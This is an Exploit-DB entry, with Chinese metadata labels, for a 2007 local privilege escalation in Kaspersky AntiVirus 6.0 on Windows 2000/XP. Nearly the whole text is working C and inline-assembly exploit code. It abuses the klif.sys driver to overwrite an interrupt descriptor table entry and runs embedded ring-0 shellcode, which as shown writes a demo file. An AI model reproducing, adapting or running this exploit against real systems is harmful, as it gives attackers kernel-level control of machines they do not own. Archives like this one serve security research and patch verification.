标题: Kaspersky AntiVirus 6.0 - Local Privilege Escalation EDB-ID: 3131 CVE: 2007-1881 类型: LOCAL 平台: WINDOWS 发布日期: 2007-01-15 漏洞利用脚本: // kav 6.0 0day local priv escalation exploit
//  by m4d 
// http://unl0ck.net
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>


// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"

unsigned char Shellcode[405] = {
 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B, 
 0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66, 
 0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF, 
 0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00, 
 0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D, 
 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89, 
 0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1, 
 0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D, 
 0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02, 
 0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00, 
 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45, 
 0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF, 
 0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F, 
 0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 
 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF, 
 0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74, 
 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77, 
 0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 
 0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 
 0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 
 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D, 
 0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8, 
 0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C, 
 0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24, 
 0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89, 
 0x6C, 0x24, 0x1C, 0x61, 0xC3
};




typedef struct _FIRST_PARAM {
 ULONG SwitchIndex;
 ULONG Unknown;   // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
 ULONG Value;    // this value will rewrite DWORD of memory
} FIRST_PARAM, *PFIRST_PARAM;





void main(int argc, char* argv[])
{
 __try
 {
  FIRST_PARAM   Param1;
  ULONG    Param2;  // pointer to write DATA - 8
  CHAR    Idtr[6];
  CHAR    IsKAVInstalled;
  OSVERSIONINFOEX  os;


  os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  GetVersionEx((LPOSVERSIONINFO)&os);

  if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
   os.dwMajorVersion != 5 ||
   os.dwMinorVersion > 1)
  {
   printf("This OS version unsupported\n");
   return;
  }

  // Äëÿ íà÷àëà îïðåäåëèì, óñòàíîâëåí ëè KAV èëè íåò

  __asm {
   cmp  os.dwMinorVersion, 0
   jnz  short $+13
   mov  eax, 0F8h  // 2k
   jmp  short $+7
   mov  eax, 11Ch  // xp
   int  2Eh

   cmp  eax, 0Ch
   setz al
   mov  IsKAVInstalled, al
  }

  if (!IsKAVInstalled)
  {
   printf("KAV6 didn't installed\n");
   return;
  }

  Param1.SwitchIndex = 3;  // Index of jmp in case of switch()
  Param1.Unknown = 0xFF0002;

  __asm {
   pusha
   sidt Idtr

   mov  eax, dword ptr [Idtr+2]

   add  eax, 0DAh * 8 - 8
   mov  Param2, eax

   // Write lower DWORD IdtEntry

   mov  ecx, offset Shellcode
   and  ecx, 0000FFFFh
   or  ecx, 00080000h
   mov  Param1.Value, ecx // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]

   push Param2
   lea  eax, Param1
   push eax

   mov  edx, esp
   cmp  os.dwMinorVersion, 0
   jnz  short $+13
   mov  eax, 100h  // 2k
   jmp  short $+7
   mov  eax, 124h  // xp
   int  2Eh
   add  esp, 2*4

   // Write high DWORD IdtEntry

   add  Param2, 4

   mov  ecx, offset Shellcode
   and  ecx, 0FFFF0000h
   or  ecx,  0000EE00h
   mov  Param1.Value, ecx // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]

   push Param2
   lea  eax, Param1
   push eax

   mov  edx, esp
   cmp  os.dwMinorVersion, 0
   jnz  short $+13
   mov  eax, 100h  // 2k
   jmp  short $+7
   mov  eax, 124h  // xp
   int  2Eh
   add  esp, 2*4

   // Call Gate :-) (COLGATE)

   push fs
   int  0DAh
   pop  fs

   popa
  }

  printf("Exploited successful\n");
 }
 __except(1) {
  printf("Can't create interrupt gate\n");
 }
}

// 15.01.07 MaD

// milw0rm.com [2007-01-15] URL: https://www.exploit-db.com/exploits/3131